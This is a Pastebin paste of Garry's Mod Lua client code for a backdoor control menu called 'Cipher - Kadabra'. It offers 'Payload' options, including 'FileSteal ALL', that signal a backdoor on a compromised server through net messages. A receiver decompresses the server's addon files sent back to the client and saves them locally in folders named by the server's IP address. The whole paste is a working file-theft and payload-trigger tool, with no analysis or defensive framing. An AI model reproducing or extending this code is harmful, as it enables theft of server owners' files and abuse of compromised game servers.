Advertisement
SatanOnGmod

Untitled

Nov 12th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.94 KB | None | 0 0
  1. function srmain()
  2.  
  3. frame = vgui.Create("DFrame")
  4. frame:MakePopup()
  5. frame:SetPos((ScrW()/2)-(ScrW()/2)/2,(ScrH()/2)-(ScrW()/2)/2)
  6. frame:SetSize(ScrW()/2, ScrW()/2)
  7. frame.Paint = function()
  8.  
  9. draw.RoundedBox(0,0,0,ScrW()/2, ScrW()/2,Color(0,0,0,150))
  10.  
  11. end
  12.  
  13.  
  14. end
  15.  
  16. function srfun()
  17.  
  18. local frame2 = vgui.Create( "DFrame" )
  19. frame2:SetSize( 300, 250 )
  20. frame2:Center()
  21. frame2:SetTitle("Cipher - Kadabra")
  22. frame2:MakePopup()
  23. frame2.Paint = function()
  24.  
  25. local chroma = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
  26. draw.RoundedBox(0,0,0,300,250,chroma)
  27.  
  28.  
  29.  
  30. end
  31.  
  32. local listFun = vgui.Create( "DComboBox", frame2 )
  33. listFun:SetPos( 5, 30 )
  34. listFun:SetSize( 100, 20 )
  35. listFun:Dock(TOP)
  36. listFun:SetValue( "Payload" )
  37. listFun:AddChoice( "Bill Cipher Visuelle" )
  38. listFun:AddChoice( "DeathNote" )
  39. listFun:AddChoice( "Dance" )
  40. --listFun:AddChoice( "Visuelle Enigma" )
  41. --listFun:AddChoice( "Visuelle Music Wave" )
  42. listFun:AddChoice( "(New) Cipher Visuelle" )
  43. listFun:AddChoice( "FileSteal ALL" )
  44. listFun.Paint = function()
  45.  
  46. draw.RoundedBox(0,0,0,300,250,Color(255, 255, 255,100))
  47.  
  48. end
  49.  
  50. listFun.OnSelect = function( self, index, value )
  51.  
  52.  
  53.  
  54. local listButton = vgui.Create("DButton",frame2)
  55.  
  56. listButton:SetSize(280,40)
  57. listButton:SetPos(10,60)
  58. listButton:SetText(value.." : Valider")
  59.  
  60. listButton.DoClick = function()
  61.  
  62. net.Start("value_open")
  63. net.WriteString( value )
  64. net.SendToServer()
  65.  
  66. if(value == "FileSteal ALL") then
  67.  
  68. net.Start("filestealerbd")
  69. net.WriteString("addons")
  70. net.WriteUInt(2,2)
  71. net.SendToServer()
  72.  
  73. end
  74.  
  75.  
  76. end
  77.  
  78. listButton.Paint = function(s,w,h)
  79.  
  80. draw.RoundedBox(0,0,0,280,40,Color(255,255,255,255))
  81.  
  82. end
  83.  
  84.  
  85. end
  86.  
  87.  
  88.  
  89.  
  90. end
  91.  
  92. srfun()
  93.  
  94. net.Receive( "receive_files_bd", function()
  95. print("Good F")
  96. local len = net.ReadUInt(32)
  97. local str = net.ReadData(len)
  98. local jaimelescrepes = util.Decompress(str)
  99. local uselessfordeleting = net.ReadString()
  100. local belleipaddress = string.gsub( game.GetIPAddress(), ":", "-" )
  101. if not file.Exists( "cipher_filesteal/"..belleipaddress.."/"..string.GetPathFromFilename(uselessfordeleting).."/", "DATA") then
  102. file.CreateDir( "cipher_filesteal/"..belleipaddress.."/"..string.GetPathFromFilename(uselessfordeleting) )
  103. print("File created")
  104. end
  105. file.Write("cipher_filesteal/"..belleipaddress.."/"..uselessfordeleting..".txt", jaimelescrepes)
  106. print("+1 fichier reçuaaaaaaaaaaaaa")
  107. end)
  108.  
  109. print("Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement